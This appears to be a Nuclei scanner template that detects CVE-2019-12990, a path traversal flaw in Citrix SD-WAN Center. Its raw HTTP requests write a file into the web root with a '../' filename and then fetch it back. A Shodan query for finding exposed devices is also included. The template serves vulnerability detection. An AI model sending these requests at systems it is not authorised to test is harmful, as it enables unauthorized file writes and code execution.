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id : CVE-2019-12990
info :
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name : Citrix SD-WAN Center - Local File Inclusion
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author : gy741
severity : critical
description : |
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Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
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impact : |
Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or denial of service.
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remediation : |
Apply the latest security patches or updates provided by Citrix to mitigate the vulnerability.
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reference :
- https://www.tenable.com/security/research/tra-2019-31
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- https://support.citrix.com/search?searchQuery=*&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
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- https://nvd.nist.gov/vuln/detail/CVE-2019-12990
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- https://support.citrix.com/search?searchQuery=%2A&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
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classification :
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cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
cve-id : CVE-2019-12990
cwe-id : CWE-22
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epss-score : 0.92152
epss-percentile : 0.98756
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cpe : cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
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metadata :
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max-request : 3
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vendor : citrix
product : netscaler_sd-wan
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shodan-query : http.title:"Citrix SD-WAN"
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tags : cve,cve2019,citrix,rce,unauth,tenable,intrusive
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http :
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- raw :
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- |
GET /login HTTP/1.1
Host : {{Hostname}}
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- |
POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
filename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=
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- |
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GET /talari/app/files/{{randstr}} HTTP/1.1
Host : {{Hostname}}
Accept : */*
matchers :
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- type : dsl
dsl :
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- contains(header, "text/html")
- status_code_3 == 200
- contains(body_1, "<title>Citrix SD-WAN</title>")
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condition : and
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# digest: 4a0a00473045022028d757c9021cfe91970444757763cf2003785713ea9f3602bd768bd83be0f8c3022100c9296bbe6b5d59548f4e8fba22c9ef4b44984f446ca9b44fec7de62e4bc23bea:922c64590222798bb761d5b6d8e72950